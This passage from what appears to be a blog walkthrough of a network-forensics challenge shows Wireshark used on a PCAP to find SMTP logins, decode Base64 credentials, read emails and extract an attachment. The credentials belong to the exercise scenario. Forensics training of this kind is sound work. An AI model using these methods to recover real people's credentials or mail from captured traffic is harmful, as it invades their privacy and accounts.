challenge, I strongly recommend trying to do it by yourself before reading!</p><h3><strong>Walkthrough</strong></h3><p>First step was to open the PCAP file in a network protocol analyzer, for this task I’ll be using Wireshark so we can better analyze the traffic data.</p><p>Having in mind that our first goal is to find a secret <strong>e-mail address,</strong> we can start by searching for the <strong>SMTP (Simple Mail Transfer Protocol) </strong>on Wireshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jGOjJUyoR3b9lWpTZmY3Lg.png" /><figcaption>Figure 02: Wireshark SMTP Filter</figcaption></figure><p>Looking at the traffic data, we can already detect some valuable information:</p><ul><li>There was a parameter request for user authentication<strong> (Request Parameter: LOGIN);</strong></li><li><strong>EHLO annlaptop - </strong>Possible name of the machine of which was requested the user authentication;</li><li><strong>User: c25lYWt5ZzMza0Bhb2wuY29t</strong> (Base64 Cryptographed username);</li><li><strong>Pass: NTU4cjAwbHo= </strong>(Base64 Cyptographed password).</li></ul><p>Assuming this is Ann’s computer <strong><em>(EHLO annlaptop)</em>, </strong>we could find her credentials by decoding her username and password values.</p><p>There are many online decoder tools we could use to decode a specific line of cryptography, for this instance we’ll be using <a href="https://codebeautify.org/base64-decode">Code Beautify</a> to get both username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGg597w-5cYEuMm6ME6SRQ.png" /><figcaption>Figure 03: Ann’s username (e-mail)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0qxXSoFzTIKpRqWWWIBt1w.png" /><figcaption>Figure 04: Ann’s Password</figcaption></figure><p>Now that we have Ann’s credentials, we should analyze if we can find more information about her e-mail changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*kxX2nt4L4mlUwnTDmSVCYA.png" /><figcaption>Figure 05: Wireshark SMTP Protocol</figcaption></figure><p>In the highlighted line, it’s possible to find the body of an e-mail message, that could be the person Ann has been trading e-mails with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*SydZ3oNPZa_OgrJZomE9Og.png" /><figcaption>Figure 06: Wireshark - E-mail</figcaption></figure><p>Looking at the rest of the packet there’s more suggestive messages that indicates that this person could be Ann’s secret lover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*aO-Z3ndpHoRBrDXTEG1xlA.png" /><figcaption>Figure 07: Wireshark - Messages</figcaption></figure><p>We can also find an attachment file at the end of the message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*30bHkNPQScbpMYRRBdTfuQ.png" /><figcaption>Figure 08: Wireshark - File Name</figcaption></figure><p>By following the TPC stream and going back to the attachment information inside of the e-mail, we can find the code of the file, which according to the content-transfer, is encoded in base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*DISAj77F8d8sKbovbH7iug.png" /><figcaption>Figure 09: Wireshark - TCP Stream</figcaption></figure><p>In order to extract the file, we can take the code and put it into a decoder tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*DpbzCy46OgIdSFrQSKPXUw.png" /><figcaption>Fire 10: Base64 to File - Base64 Guru</figcaption></figure><p>Opening the file <em>“application.docx”</em> we have the place where Ann wants to meet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*hlIXBghci1Y9Y74w5QzWAQ.png" /><figcaption>Figure 11: application.docx</figcaption></figure><p>Once you have the file, you can open the terminal and check out its MD5 hash by using the command certutil.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*1LOxvU4dE8cia5xl8S1fqg.png" /><figcaption>Figure 12: application.docx MD5 Hash</figcaption></figure><p>That way the challenge is completed! Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fb7bc44d18a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>